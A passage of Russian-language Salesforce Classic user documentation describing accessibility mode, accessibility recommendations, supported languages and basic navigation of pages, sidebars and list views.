Режим доступности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Рассмотрим изменения, происходящие в системе Salesforce при использовании режима
доступности.

СистемаSalesforceподдерживаетальтернативныйрежимпользовательскогоинтерфейса,
предоставляющий пользователям доступ к вспомогательным средствам (например,
программное обеспечение для распознавания речи и программы для чтения экрана),
которые позволяют повысить эффективность использования системы Salesforce. Как
правило, новые функции доступны в стандартном режиме, но также поддерживают
режимдоступности. Принеобходимостипользователимогут самостоятельновключать
режим доступности, особенно при использовании программного обеспечения для
распознаванияречиилипрограммдлячтенияэкранасцельюсозданияотчетовипанелеймониторингаиливзаимодействия
со списковыми представлениями.

Режимдоступностиподдерживает всефункции Salesforce, отличающиесянебольшимиизменениями, благодаря которым
система может эффективно использоваться даже пользователями, работающими со вспомогательными средствами.

Функции режима доступности, расширяющие использование системы
• Страницы настройки доступны посредством ссылки «Настройка», расположенной вверху страницы.
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• Раскрывающиеся меню содержат кнопку «Начать», при нажатии которой открывается выбранный элемент
раскрывающегося списка.

• Кнопки меню отображаются как раскрывающийся список с кнопкой «Начать».

• Страницы области наложения отображаются как отдельные всплывающие окна.

• HTML-редактор заменяется текстовым полем. Данное текстовое поле допускает только HTML-код и не распознает
обычный текст (например, символы переноса). Чтобы разделить содержимое, рекомендуем использовать HTML-теги
параграфа или разрыва строки.

• При просмотре панели мониторинга фильтр автозаполнения «Просмотр панели мониторинга» заменяется
стандартным раскрывающимся меню.

• Ссылка«Редактироватьстолбцы»настранице «Управлениеучастниками», доступнойпринажатиираскрывающейся
кнопки «Управление участниками» на странице сведений о кампании, преобразуется в раскрывающуюся кнопку.
Область наложения «Редактировать столбцы» заменяется стандартной страницей настройки.

• Выборзапрошеннойконференциив связанномсписке «Открытыедействия» инекоторыхсписковыхпредставлениях
неинициируетоткрытие страницысведенийоконференции. Взамен, открывается диалоговоеокно, рекомендующее
обратиться к организатору, который может предоставить сведения о запрошенной конференции.

• Раскрывающийся список «Включитьфункцию "Мои сообщения эл. почты"» для группы Chatter отображается
как ссылка «Параметры эл. почты Chatter», открывающая параметры получения эл. почты Chatter.

Отключенные функции календарей
• Области наложения сведений о событиях в представлении календаря

• Редактирование с помощью перетаскивания

• Планирование с помощью перетаскивания

• Быстрое создание событий

• Кнопка «Создать запрос на проведение конференции» в связанном списке «Открытые действия»

Прим.: Следовательно, режим доступности не позволяет отправлять запросы на проведение конференций, а
вложенная вкладка «Запрошенные конференции» в разделе «Календарь» вкладки «Начальная страница» не
содержит конференций.

Отключенные функции отчетов и панелей мониторинга
• Редактирование с помощью перетаскивания в конструкторе панелей мониторинга

• Создание и редактирование отчетов в конструкторе отчетов

Прим.: Созданиеиредактированиесоставныхотчетов, а такжеотчетов, содержащихкросс-фильтрыилиобласти,
доступно только в конструкторе отчетов. Режим доступности позволяет запускать данные отчеты, но не
поддерживаетих созданиеиредактирование. Созданиеотчетов врежимедоступностивыполняетсяпосредством
мастера отчетов.

• Перетаскивание отчетов и панелей мониторинга между папками

Отключенные функции списковых представлений
• Всплывающие ссылки связанного списка

• Данные функции расширенных списков:

– Встроенное редактирование
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– Изменение порядка отображения и настройка ширины столбцов

– Редактирование, удаление или обновление текущего спискового представления

– Изменение количества записей, отображаемых на странице

– Открытие определенной страницы результатов

Другие отключенные функции
• Кнопка «Проверить орфографию» для решений

• Последняя страница «Управление участниками»

• Раскрывающееся меню «Недавние теги» при добавлении компонента «Теги» на боковую панель

• Боковая панель «Критерии соответствия» на странице результатов поиска при поиске похожих возможностей

• Список похожих вопросов по мере ввода вопроса в сообществе ответов

Совет: Прииспользованиирежимадоступностиновизнупубликуемоговопросаможноопределитьпосредством
поля поиска на вкладке «Ответы».

Включение режима доступности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Включениережимадоступностипредоставляетпользователямдоступквспомогательным
средствам (например, программное обеспечение для распознавания речи и программы
для чтения экрана), позволяющим оптимизировать процессы использования системы
Salesforce.

1. На странице личных параметров введите строку «Доступность» в поле «Быстрый
поиск» и выберите пункт «Доступность». Нет подходящих результатов? Введите
строку «Личные сведения» в поле «Быстрый поиск» и выберите пункт «Личные
сведения».

2. Установите флажок «Режим доступности».

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Рекомендации по доступности Salesforce

Индивидуальная настройка системы Salesforce

Рекомендации по доступности Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Рассмотримфункции доступности Salesforce, предназначенные для пользователей,
работающих со вспомогательными средствами (например, программное обеспечение
для распознавания речи и программы для чтения экрана).

Нижеперечисленынекоторыерекомендации, позволяющиеповысить эффективность
использования системы Salesforce.

• Зрячие пользователи клавиатуры

• Пользователи программы для чтения экрана

• Глухие или слабослышащие пользователи
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• Пользователи, страдающие дальтонизмом

• Слабовидящие пользователи, нуждающиеся в увеличении экрана

СМ. ТАКЖЕ:

Включение режима доступности

Зрячие пользователи клавиатуры
Ниже перечисленыфункции Salesforce, гарантирующие доступность системы.

• РежимдоступностипозволяетповыситьэффективностьиспользованиясистемыSalesforce (особенноотчетов, панелей
мониторинга и списковых представлений). См. раздел «Режим доступности» на странице 65 для получения более
подробной информации.

• Выбранные области экрана содержат основные показатели, позволяющие получить визуальное представление
ключевых сведений.

• Ниже перечислены элементы, определяемые в разметке страницы.

– Заголовкипомечаютсякак заголовки, ане какнаборполейиусловныеобозначениядля группированияэлементов
управления формой.

– Основной заголовок страницы (как правило, в начале области основного содержимого) является заголовком
первого уровня. Пользователи могут переходить к данному заголовку посредством клавиши быстрого доступа.

– Таблицыданныхсодержатразметку (кромерасширенныхсписковыхпредставленийтольковстандартномрежиме),
предназначенную для идентификации заголовков каждой ячейки.

– Списки, доступные в области основного содержимого, помечаются как списки.

• Ссылка перехода (первая поддерживаемая клавиатурой ссылка на каждой странице) позволяет перемещать курсор в
начало области основного содержимого. Как правило, данная ссылка пропускает меню навигации перед областью
основного содержимого, сокращая количествонажатийклавиши Tab, необходимоедляперехода кобластиосновного
содержимого страницы.

• Курсор устанавливается внутри открытых диалоговых окон и остается заблокированным до закрытия диалогового
окна.

• По умолчанию курсор устанавливается в первое редактируемое поле страницы редактирования. При создании или
редактированиизадачиилисобытиякурсоравтоматическиустанавливаетсявполе «Тема», независимоотегоположения
на странице.

• Неактивныекнопки, ссылкииполяпомечаютсяатрибутом «отключено». Например, прииспользованиимногоэтапного
мастера некоторые кнопки активируются только после выбора определенного параметра.

Пользователи программы для чтения экрана
Настраиваемые приложения Salesforce позволяют использовать новейшиефункции самого популярного программного
обеспечения для чтения экрана. Несмотря на достаточную совместимость многих обозревателей и программ для чтения
экрана, рекомендуем использовать самые последние версии обозревателя Mozilla® Firefox® и программы JAWS® или NVDA
для работы с системой Salesforce.

Ниже перечисленыфункции Salesforce, гарантирующие доступность системы.

• РежимдоступностипозволяетповыситьэффективностьиспользованиясистемыSalesforce (особенноотчетов, панелей
мониторинга и списковых представлений). См. раздел «Режим доступности» на странице 65 для получения более
подробной информации.
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• Важным изображениям соответствует текстовый эквивалент цели изображения; маловажным изображениям
соответствует пустой текстовый эквивалент или элемент CSS. Изображения, передающие подробные сведения, также
являются ссылками на исходные данные. Например, панели мониторинга содержат диаграммы и графики,
предназначенные для визуального отображения данных. Чтобы просмотреть данные отчета, используемые для
создания диаграммы или графика, выберите компонент панели мониторинга.

Прим.: Основной отчет может содержать дополнительные данные, которые не отображаются в компоненте
панели мониторинга. Кроме того, основной отчет может содержать некоторые данные, доступ к которым
заблокирован параметрам общего доступа.

• Ниже перечислены элементы, определяемые в разметке страницы.

– Заголовкипомечаютсякак заголовки, ане какнаборполейиусловныеобозначениядля группированияэлементов
управления формой.

– Основной заголовок страницы (как правило, в начале области основного содержимого) является заголовком
первого уровня. Пользователи могут переходить к данному заголовку посредством клавиши быстрого доступа.

– Таблицыданныхсодержатразметку (кромерасширенныхсписковыхпредставленийтольковстандартномрежиме),
предназначенную для идентификации заголовков каждой ячейки.

– Списки, доступные в области основного содержимого, помечаются как списки.

• Ссылка перехода (первая поддерживаемая клавиатурой ссылка на каждой странице) позволяет перемещать курсор в
начало области основного содержимого. Как правило, данная ссылка пропускает меню навигации перед областью
основного содержимого, сокращая количествонажатийклавиши Tab, необходимоедляперехода кобластиосновного
содержимого страницы.

• Курсор устанавливается внутри открытых диалоговых окон и остается заблокированным до закрытия диалогового
окна.

• По умолчанию курсор устанавливается в первое редактируемое поле страницы редактирования. При создании или
редактированиизадачиилисобытиякурсоравтоматическиустанавливаетсявполе «Тема», независимоотегоположения
на странице.

• Неактивныекнопки, ссылкииполяпомечаютсяатрибутом «отключено». Например, прииспользованиимногоэтапного
мастера некоторые кнопки активируются только после выбора определенного параметра.

Кроме того, рекомендуем включить данные личные веб-параметры в программе для чтения экрана.

• Разрешите страницам автоматическое обновление.

• Включите считывание обновлений рабочей области.

• Разрешите текстовым ссылкам отображение заголовков. Данный параметр обязывает программу для чтения экрана
считывать сведения, указанные в атрибуте Title ссылки (например, предупреждение об открытии нового окна).

• Разрешите заголовкам считывать заголовки и уровни. Разметка заголовка используется для отображения контекста
и навигации.

• Чтобы настроить стандартные способы считывания общих символов (например, символ @ для упоминания людей
в сообщениях и комментариях Chatter), добавьте данные символы в словарь программы для чтения экрана.

Глухие или слабослышащие пользователи
КомпанияSalesforceпредоставляетдемонстрационныевидеоролики, размещенныенавеб-узле YouTube. Чтобыпросмотреть
синхронные субтитры для видеороликов, щелкните «Смотреть на YouTube.com» в нижнем правом углу встроенных
видеороликов.
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Пользователи, страдающие дальтонизмом
Параметрыобозревателяиоперационнойсистемынеменяютцвета внутриизображений, а система Salesforceиспользует
многие изображения какфоновые, которыене отображаются приприменениипараметровцветного отображения. Если
пользователи полагаются только на параметры обозревателя и операционной системы, предназначенные для выбора
конкретной цветовой схемы, то:

• сведения, представленные в важныхизображениях, могут быть доступныпутемотображения текстовых эквивалентов
изображений;

• файл CSS должен быть переопределен для следующих классов: assistiveText и zen-assistiveText. Затем параметры
обозревателя должны быть настроены согласно текущим требованиям.

Кроме того:

• Некоторыедиаграммы (например, вотчетахипанеляхмониторинга) отображаютданныепоцветам. Принеправильном
восприятии информации, представленной в диаграммах, установите флажок «Палитра для пользователей,
страдающих дальтонизмом (в диаграммах)» на странице личных сведений. Данный параметр активирует
альтернативнуюцветовуюпалитру, предназначеннуюдляпользователей, страдающихдальтонизмом. Альтернативная
палитра не используется в сообщениях эл. почты, касающихся панелей мониторинга. Чтобыпросмотреть исходный
отчет, выберите нужную диаграмму.

• Панелимониторинга содержатдиаграммыиграфики, предназначенныедля визуальногоотображенияданных. Чтобы
просмотреть данные отчета, используемые для создания диаграммы или графика, выберите компонент панели
мониторинга.

Прим.: Основной отчет может содержать дополнительные данные, которые не отображаются в компоненте
панели мониторинга. Кроме того, основной отчет может содержать некоторые данные, доступ к которым
заблокирован параметрам общего доступа.

Слабовидящие пользователи, нуждающиеся в увеличении экрана
Система Salesforceподдерживает стандартныеинструментыувеличения, доступныевоперационнойсистеме, обозревателе
или сторонней программе. Рекомендуем выбрать масштаб согласно текущим требованиям.

Ниже перечислены элементы, определяемые в разметке страницы. При необходимости стили данных элементов могут
быть изменены.

• Заголовки помечаются как заголовки, а не как набор полей и условные обозначения для группирования элементов
управления формой.

• Основной заголовок страницы (как правило, в начале области основного содержимого) является заголовкомпервого
уровня. Пользователи могут переходить к данному заголовку посредством клавиши быстрого доступа.

• Таблицы данных содержат разметку (кроме расширенных списковых представлений только в стандартном режиме),
предназначенную для идентификации заголовков каждой ячейки.

• Списки, доступные в области основного содержимого, помечаются как списки.

Просмотр и отображение. Вопросы и ответы

Какие языки поддерживает система Salesforce?

Почему некоторые кнопки и ссылки не отображаются?
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Почему не отображаются всплывающие окна системы Salesforce, такие как диалоговые окна поиска и окно «Справка
и обучение»?

Почему введенные данные удаляются при нажатии клавиши Backspace во время редактирования записи?

Можнолиизменитьилиудалитьраскрывающийсясписок записей, отображающийсяприредактированиитекстового
поля?

Какие языки поддерживает система Salesforce?
Компания Salesforceпредлагает три уровня языковойподдержки: основные языки, языки конечногопользователяи языки
платформы. Каждый язык определяется двузначным кодом, например en или пятизначным кодом региона, например
en_AU.

В дополнение к поддержке языка Salesforce можно локализовать организации двумя способами. Средство перевода
позволяет выбрать языки перевода, назначить переводчиков и создать переводы настроек, выполненных в организации
Salesforce, а также переопределить метки и переводы из управляемых пакетов. С помощью средства перевода могут быть
переведены любые элементы интерфейса — от значений настраиваемых раскрывающихся списков до значений
настраиваемых полей, поэтому пользователи из других стран смогут в полной мере оценить все достоинства системы
Salesforce на своем родном языке.

Вторым вариантом является переименование вкладок и полей в Salesforce. Если в пользовательском приложении
используется лишь несколько стандартных вкладок и полей Salesforce, их можно перевести.

Основные языки
Можно изменить язык для всех функций, в том числе для справки, на один из следующих полностью поддерживаемых
языков: в меню «Настройка» ввести «Сведения о компании» в поле «Быстрый поиск», затем выбрать «Сведения о
компании», далее нажать кнопку «Правка».

• Китайский (упрощенный): zh_CN

• Китайский (традиционный): zh_TW

• Датский: da

• Голландский: nl_NL

• Английский: en_US

• Финский: fi

• Французский: fr

• Немецкий: de

• Итальянский: it

• Японский: ja

• Корейский: ko

• Норвежский: no

• Португальский (Бразилия): pt_BR

• Русский: ru

• Испанский: es

• Испанский (Мексика): es_MX

• Шведский: sv

• Тайский: th
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Прим.:

• «Испанский (Мексика)», вместо которого используется язык «Испанский» для пользовательских переводов.

• Хотя пользовательский интерфейс Salesforce полностью переведен на тайский язык, справка остается на
английском.

Языки конечного пользователя
Языки конечного пользователя предназначены для многоязычных организаций или организаций, партнеры которых
используют языки, отличные от стандартного языка компании. Что касается языков конечных пользователей, в Salesforce
предусмотреныпереведенныеметкидлявсех стандартныхобъектовистраниц, заисключением страницадминистрирования,
меню «Настройка» и справки. При задании языка конечного пользователя непереведенные метки и справка, выводятся
на английском языке. Языки конечного пользователя предназначены только для личного использования конечными
пользователями. Не используйте языки конечного пользователя как корпоративные языки. SalesForce не обеспечивает
поддержку клиентов на языках конечного пользователя.

Ниже перечислены языки конечного пользователя:

• Арабский: ar

• Болгарский: bg

• Хорватский: hr

• Чешский: cs

• Английский (Великобритания): en_GB

• Греческий: el

• Еврейский: iw

• Венгерский: hu

• Индонезийский: in

• Польский: pl

• Португальский (Португалия): pt_PT

• Румынский: ro

• Словацкий: sk

• Словенский: sl

• Турецкий: tr

• Украинский: uk

• Вьетнамский: vi

Прим.: Salesforce предоставляет ограниченную поддержку для языков с направлением справа налево, арабского и
иврита, для следующихфункций.

• Live Agent

• Обращения

• Организации

Эти функции не поддерживаются в Lightning Experience, мобильном приложении Salesforce1, в любых других
мобильных приложениях или браузерах или в любых пользовательских интерфейсах, кроме Salesforce Classic. Мы
не гарантируем корректную работу при использовании языков, письмо в которых ориентировано справа налево, с
любыми другимифункциями Salesforce. У нас нет планов расширять список поддерживаемых функций.
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Ниже перечисленыфункции, которые не поддерживаются для языков с направлением справа налево.

• Конструктор отчетов

• Создание котировок в PDF

• Настраиваемое прогнозирование

• Сообщения эл. почты

• Salesforce Knowledge

• Ленты

• Сообщества

Отсутствие функции в этом списке не предполагает поддержку. Только Live Agent, «Обращения» и «Организации»
поддерживаются с языками направления справа налево.

Языки платформы
В ситуациях, когда Salesforce не предоставляет перевод по умолчанию, используйте только платформенные языки для
локализацииприложенийисобственныефункции, созданныенаОблакеприложений Salesforce. Можноперевеститакие
элементы, как настраиваемые метки, настраиваемые объекты и имена полей. Можно также переименовать большинство
стандартных объектов, меток и полей. Информационный текст и неполевой текст метки не подлежат переводу.

Языки платформы могут быть выбраны во всех раскрывающихся списках языков. Тем не менее, при выборе языка
платформы все стандартные метки системы Salesforce по умолчанию отображаются на английском языке, либо (при
выборе обращений) на языке конечного пользователя или на основном языке.

При выборе языка платформы метки стандартных объектов и полей используют язык «Английский». Данное правило
не распространяется на следующие языки:

• «Английский (Австралия)», «Английский (Индия)», «Английский (Малайзия)» и «Английский (Филиппины)», вместо
которых используется язык «Английский (Великобритания)».

• «Немецкий (Австрия)» и «Немецкий (Швейцария)», вместо которых используется язык «Немецкий».

• «Французский (Канада)», вместо которого используется язык «Французский».

• «Румынский (Молдова)», вместо которого используется язык «Румынский».

• «Черногорский», вместо которого используется язык «Сербский (латиница)».

• «Португальский (Португалия)», вместо которого используется язык «Португальский (Бразилия)».

Ниже перечислены поддерживаемые языки платформы.

• Албанский: sq

• Арабский (Алжир): ar_DZ

• Арабский (Бахрейн): ar_BH

• Арабский (Египет): ar_EG

• Арабский (Ирак): ar_IQ

• Арабский (Иордания): ar_JO

• Арабский (Кувейт): ar_KW

• Арабский (Ливан): ar_LB

• Арабский (Ливия): ar_LY

• Арабский (Марокко): ar_MA

• Арабский (Оман): ar_OM
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• Арабский (Катар): ar_QA

• Арабский (Саудовская Аравия): ar_SA

• Арабский (Судан): ar_SD

• Арабский (Сирия): ar_SY

• Арабский (Тунис): ar_TN

• Арабский (Объединённые Арабские Эмираты): ar_AE

• Арабский (Йемен): ar_YE

• Армянский: hy

• Баскский: eu

• Боснийский: bs

• Бенгальский: bn

• Китайский (упрощенный, Сингапур): zh_SG

• Китайский (традиционный, Гонконг): zh_HK

• Английский (Австралия): en_AU

• Английский (Канада): en_CA

• Английский (Гонконг): en_HK

• Английский (Индия): en_IN

• Английский (Ирландия): en_IE

• Английский (Малайзия): en_MY

• Английский (Филиппины): en_PH

• Английский (Сингапур): en_SG

• Английский (ЮАР): en_ZA

• Эстонский: et

• Французский (Бельгия): fr_BE

• Французский (Канада): fr_CA

• Французский (Люксембург): fr_LU

• Французский (Швейцария): fr_CH

• Грузинский: ka

• Немецкий (Австрия): de_AT

• Немецкий (Люксембург): de_LU

• Немецкий (Швейцария): de_CH

• Хинди: hi

• Исландский: is

• Ирландский: ga

• Итальянский (Швейцария): it_CH

• Латышский: lv

• Литовский: lt

• Люксембургский: lb

• Македонский: mk

• Малайский: ms
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• Мальтийский: mt

• Румынский (Молдова): ro_MD

• Черногорский: sh_ME

• Ретороманский: rm

• Сербский (кириллица): sr

• Сербский (латиница): sh

• Испанский (Аргентина): es_AR

• Испанский (Боливия): es_BO

• Испанский (Чили): es_CL

• Испанский (Колумбия): es_CO

• Испанский (Коста-Рика): es_CR

• Испанский (Доминиканская Республика): es_DO

• Испанский (Эквадор): es_EC

• Испанский (Сальвадор): es_SV

• Испанский (Гватемала): es_GT

• Испанский (Гондурас): es_HN

• Испанский (Никарагуа): es_NI

• Испанский (Панама): es_PA

• Испанский (Парагвай): es_PY

• Испанский (Перу): es_PE

• Испанский (Пуэрто-Рико): es_PR

• Испанский (США): es_US

• Испанский (Уругвай): es_UY

• Испанский (Венесуэла): es_VE

• Тагальский: tl

• Тамильский: ta

• Урду: ur

• Уэльский: cy

СМ. ТАКЖЕ:

Общие сведения о языке, регионе и валюте

Включение и выключение средства перевода

Почему некоторые кнопки и ссылки не отображаются?
Кнопки и ссылки отображаются только тем пользователям, которым предоставлены соответствующие полномочия.
Например, кнопка «Удалить» на странице сведений о возможности и ссылка «Удал.» в связанном списке возможности
отображаются только при наличии полномочия «Удаление» для возможностей.
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Почему не отображаются всплывающие окна системы Salesforce, такие как диалоговые
окна поиска и окно «Справка и обучение»?
Если параметрам блокировки всплывающих окон обозревателя задан максимальный уровень безопасности, то
всплывающие окна Salesforce не отображаются. Данное правило применяется ко всем всплывающим окнам, включая
окна, связанные с важнымифункциями (например, всплывающее окно календаря для выбора даты действия, диалоговые
окна поиска для выбора записи, окно «Справка и обучение» и т. д.).

Чтобы протестировать параметры всплывающих окон, выполните указанные ниже действия.

1. В разделе личных параметров войдите в раздел Напоминания в поле Быстрый поиск, затем выберите пункт
Напоминанияи сигналы. Нет результатов? Введите «Личные сведения» в поле «Быстрый поиск» и выберите пункт
«Личные сведения».

2. Нажмите кнопку «Предварительный просмотр сигнала напоминания».

Чтобы разрешить отображение всплывающих окон Salesforce, добавьте Salesforce в качестве надежного узла в параметры
блокировкивсплывающихоконобозревателя. Дополнительныеинструкциисм. винтерактивнойсправкеиспользуемого
обозревателя.

Некоторыенадстройкиобозревателя (например, панельинструментов Google) такжеблокируютотображениевсплывающих
окон. ДополнительнуюинформациюоботображениивсплывающихоконSalesforceсм. вдокументацииксоответствующим
программным продуктам.

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce

Почему введенные данные удаляются при нажатии клавиши Backspace во время
редактирования записи?
Некоторые версии обозревателя Internet Explorer используют клавишу Backspace в качестве кнопки обозревателя «Назад».
При нажатии клавиши Backspace курсор должен находиться внутри текстового поля. В противном случае обозреватель
открывает предыдущую страницу. Чтобы вернуться на рабочую страницу и восстановить данные, нажмите кнопку
обозревателя «Вперед».

Можно ли изменить или удалить раскрывающийся список записей, отображающийся
при редактировании текстового поля?
Нет. Автозаполнениезаписей, доступноеприредактированиинекоторыхтекстовыхполей, — этофункцияобозревателя
Internet Explorer. Обозреватель запоминает введенныйранее текст и отображает список этих записей для автоматического
заполненияполя. Чтобыотключитьданнуюфункцию, нажмитекнопку «Сервис» в строкеменюобозревателя, выберите
пункт «Свойства обозревателя», откройте вкладку «Содержание», нажмите кнопку в разделе «Автозаполнение» и
выберите нужные параметры.

Страницы Salesforce
Приложения Salesforce состоят из вкладок и страниц. Как правило, стандартным объектам (например, «Организации»,
«Контакты» и «Интересы») идругимфункциям (например, Chatter) соответствуютвкладки, которыемогутиспользоваться
для перехода к нужным страницам. Например, чтобы создать запись организации, откройте вкладку «Организации»,
отображающую начальную страницу организаций.
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Чтобыоткрытьстраницуредактированиясведенийоборганизации, нажмитекнопку «Создать»ивведитенужныеданные.
Чтобы открыть страницу просмотра сведений об организации, нажмите кнопку «Сохранить». Новая организация
добавляется на начальную страницу вкладки «Организации».

Вкладки Salesforce поддерживают разные типы страниц, включая начальные страницы, страницы сведений и страницы
редактирования, а пользователи могут создавать списковые представления для некоторых объектов. Вкладка Chatter
поддерживает один основной тип страницы: лента. Вкладка Data.com поддерживает поисковый интерфейс. Вкладки
«Панели мониторинга» и «Отчеты» отличаются собственными стилями страниц.

Обычносистемныйадминистраторнастраиваетмакетыстраницдлястандартныхобъектовивключаетфункциинавигации,
доступные организации для использования. Чтобы повысить эффективность использования системы Salesforce,
рекомендуем изучить основные элементы страниц для часто используемых объектов. А именно:

1. Панель тегов, позволяющая просматривать и добавлять теги для записи.

2. Лента, позволяющая просматривать и добавлять комментарии к записи.

3. Боковая панель, поддерживающая поиск и быстрое создание записей.

4. Разделы, содержащие основные поля и ссылки записи.

5. Связанные списки, содержащие ссылки на другие записи, связанные с просматриваемой записью. При необходимости
порядок отображения связанных списков на странице может быть изменен.

6. Разные ссылки, поддерживающие перемещение по текущей странице и переход на другие страницы или внешние
сайты.

Рассмотрим данные элементы на примере страницы сведений об организации.
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Общие сведения о боковой панели Salesforce

Отображение и скрытие свертываемой боковой панели

Работа со связанными элементами прямо из просматриваемой записи
Записи Salesforce содержат связанные списки, отображающие ссылки и сведения для связанных записей. Некоторые
связанные списки позволяютпользователям выполнять типовые задачи для связанного объекта (например, создание
записей или вложение файлов).

Работа с расширенными списками

Структура длинных списков
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Изменение рабочего подразделения
Изменение текущего рабочего подразделения позволяет просмотреть другие записи.

СМ. ТАКЖЕ:

Теги в записях

Общие сведения о боковой панели Salesforce

Навигация по начальным страницам объектов

Вкладка «Начальная страница»

Общие сведения о боковой панели Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Боковая панель, отображающаяся в левой части большинства страниц Salesforce,
предоставляет удобный доступ к перечисленным ниже ссылкам и командам.

• Поиск

Еслипоиск на боковойпанелинедоступен, воспользуйтесь полемпоиска в верхнем
колонтитуле.

• Ссылка «Теги» и раскрывающийся список «Недавние теги»

• Раскрывающийся список «Подразделения»

• Раскрывающийся список «Создать...»

• Значок календаря, открывающий последнее просмотренное представление календаря

• Список «Недавние элементы»

• «Сообщения и предупреждения»

• «Настраиваемые ссылки»

• Компонент «Корзина»

Доступныекомпонентыбоковойпанелиопределяютсявключеннымифункциямиивыполненныминастройкамимакета
страницы.

Отображение и скрытие свертываемой боковой панели

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Свертываемая боковая панель, включенная администратором, может быть открыта или
закрыта пользователем.

Прим.: При закрытии боковой панели пользователям центра обработки вызовов
недоступны входящие вызовы.

Чтобы открыть или закрыть боковую панель, щелкните ее край.
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Работа со связанными элементами прямо из просматриваемой записи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Записи Salesforce содержат связанные списки, отображающие ссылки и сведения для
связанных записей. Некоторые связанные спискипозволяютпользователям выполнять
типовые задачи для связанного объекта (например, создание записей или вложение
файлов).

Например, записьинтереса содержитнесколько связанныхсписков, включая связанный
список «Открытые действия», отображающий открытые действия и основные поля
действий. Данный связанный список позволяет создавать задачу, действие или запрос
на проведение встречи. При закрытии связанной задачи соответствующая ссылка
добавляется в связанный список «Журнал действий» записи интереса, который содержит основные поля связанного
списка «Открытые действия», но поддерживает другие типовые задачи.

Ниже перечислены компоненты, влияющие на доступность связанных списков для просмотра и использования.

• Полномочия пользователя

• Настройки пользовательского интерфейса и макета страницы, заданные администратором Salesforce

• Персональные настройки пользователя

Связанные списки отличаются удобным доступом и управлением. Действия описаны ниже.

1. Прокрутите страницу до нужного связанного списка.
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2. Если организация поддерживает всплывающие ссылки связанного списка, щелкните ссылку для просмотра списка
во всплывающем окне.

3. Чтобы выбрать доступные связанные списки и изменить порядок их отображения, щелкните ссылку «Настроить
страницу».

Работа с расширенными списками

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
встроенногоредактирования
в расширенном списке:
• «Пакетное

редактирование на
основе списков»

Расширенные списки позволяют быстро просматривать, настраивать и редактировать
данныесписка, гарантируяповышениеежедневнойпроизводительности. Расширенные
списки доступны только в том случае, если включены администратором.

Ниже перечислены действия, доступные в расширенных списках.

• Чтобы просмотреть результаты, щелкните значок первой страницы (<<), «Назад»,
«Далее» или значок последней страницы (>>) внизу списка.

• Чтобы открыть определенную страницу результатов, введите ее номер в текстовое
поле, расположенное в нижнем правом углу, и нажмите клавишу ENTER.

• Чтобы создать представление, щелкните ссылку «Создать новое представление».
Чтобы изменить, удалить или обновить текущее представление, щелкните ссылку
«Правка», «Удалить» или кнопку соответственно.

• Измените количество записей, доступных на странице. Щелкните значок в
нижнем левом углу списка и выберите нужное число. Одновременно можно
просматривать 10, 25, 50, 100 или 200 записей. После изменения данного параметра
отображается первая страница результатов.

Изменение количества записей, отображаемых на странице, применяется не только
к текущему списку, но и ко всем спискам во всех приложениях Salesforce. Кроме того,
при выборе значения «200 записей» отображается предупреждение о возможном
снижении производительности.

• Чтобыизменитьширинустолбца, перетащитеправуюграницузаголовка столбца. Любоеизменениешириныстолбца
применяется только к текущему списку и сохраняется при его следующем просмотре.

Придобавленииилиудалениистолбцовлюбоеизменениешириныстолбцавданномспискеавтоматическиотменяется.

• Чтобы изменить порядок отображения столбцов, перетащите заголовок столбца в любую область списка. При
наличииполномочияна редактирование определения списка внесенныеизменения автоматически сохраняются для
всехпользователей, просматривающихданныйсписок. Впротивномслучаепризакрытииданнойстраницывнесенные
изменения отменяются.

• Чтобыизменитьколичествоипорядокотображениястолбцов, щелкнитессылку«Правка»напротивраскрывающегося
списка представлений в верхнем левом углу.

• Если в организации включена функция встроенного редактирования, дваждыщелкните нужное поле отдельной
записи прямо в списке. При наличии полномочия «Пакетное редактирование на основе списков» разрешается
одновременно редактировать не более 200 записей.

• Чтобыпросмотреть еженедельноепредставлениекалендаря внижнейчастисписковогопредставленияорганизаций,
контактов или интересов, щелкните ссылку «Открыть календарь» внизу страницы. Чтобы создать событие,
связанное с записью, перетащите нужную запись из списка во временную область календаря. Обратите внимание,
что доступность функции планирования с помощью перетаскивания определяется администратором.
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Структура длинных списков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Нижеперечисленыинструментыдляуправлениябольшимиобъемамиданных, доступные
на многих страницах со списками Salesforce.

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений.

Чтобы изменить или удалить любое созданное представление, выберите его в
раскрывающемся списке «Просмотр» ищелкните ссылку «Правка».

• Чтобы просмотреть элементы, имена которых начинаются на определенную букву, щелкните нужную букву вверху
списка. Чтобыпросмотреть элементы, имена которыхначинаютсянацифруилисимвол, щелкните ссылку «Другое».
Чтобы просмотреть все элементы, соответствующие критерию текущего представления, щелкните ссылку «Все».

• Чтобы отсортировать элементы спискового представления по данным отдельного столбца, щелкните заголовок
нужного столбца. Данное действие сортирует текстовые данные по алфавиту, а числовые данные — по возрастанию.
Даты сортируются по убыванию. Чтобы применить обратный порядок сортировки, щелкните заголовок столбца
второй раз.

Прим.: Сортировка поддерживает любые настраиваемые поля, кроме раскрывающихся списков со
множественнымвыбором. Организации, содержащиеболеедвухмиллионовпользователей, немогутсортировать
списковыепредставленияпользователей. Организации, числопользователейв которыхпревышает 2 миллиона,
могут связаться с Salesforce для повторного подключения сортировки.

• Чтобы просмотреть предыдущий или следующий набор элементов в текущем представлении, щелкните ссылку
«Предыдущая страница» или «Следующая страница».

• Чтобы уменьшить или увеличить количество элементов, отображаемых на странице, щелкните ссылку «меньше»
или «больше» внизу списка.

